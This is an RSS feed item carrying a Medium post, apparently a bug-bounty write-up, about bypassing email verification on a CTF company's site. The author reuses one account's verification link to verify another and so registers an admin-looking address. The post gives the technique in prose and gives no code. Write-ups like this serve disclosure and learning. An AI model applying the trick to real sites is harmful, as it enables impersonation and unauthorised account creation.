            <link>https://medium.com/@DbgMan/how-i-hacked-a-ctf-company-with-a-simple-email-verification-bypass-e239a9ff37e2?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/e239a9ff37e2</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 22:41:38 GMT</pubDate>
            <atom:updated>2025-08-22T22:29:32.742Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXGXUdFY9-eE2XJJnufy7w.jpeg" /></figure><p><strong>‘اللهم صلِّ وسلِّم على سيدنا محمد عليه أفضل الصلاة والسلام’</strong></p><p><strong>Yo Hackers!</strong></p><p>Today, I’ve got another spicy one for you — an Email Verification Bypass in a CTF company. Yeah, you heard that right, I basically hacked the company that runs hacking challenges! 💀</p><p>So, here’s the deal:</p><p>They have an email verification system — you sign up, and before you can log in, you have to verify your email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7a1O91-YbyfpyWgD6oPO2g.png" /></figure><p>And obviously, any hacker’s first thought? <strong>“Can we bypass this?”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4MJwScGNuCjkmybPb6KRw.png" /></figure><p><strong>Tried the usual: <br>- Response manipulation? Nope. <br>- Messing with the request? Nada. <br>- Adding two emails at once? Still nothing.</strong></p><p>Then came the trick…</p><p>I created two accounts: A and B, took the verification link from B, and used it to verify A<br>Boom! <strong>Email verification bypassed</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTR1ahd5-5UVHC3u8kYMmg.png" /></figure><p><strong>I verified without clicking the verification link — I just used the link from another account.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRvI2yoBUrMMwkXNHKGobw.png" /></figure><p>But we don’t stop at small wins. We always go for impact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*RCpVKzs4IGscPaCrJGyV0Q.jpeg" /></figure><p>So, what’s the next move? <br>I tried the same trick with <a href="/service/mailto:admin@ex.com">admin@ex.com</a>… and guess what?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfZAY_KxOecB7cIzikd5Pw.png" /></figure><p>No extra privileges, but I now had an admin account on the site.<br>And the best part? No one could revoke it!</p><p>find me:</p><p>tel user : ippvuln</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e239a9ff37e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>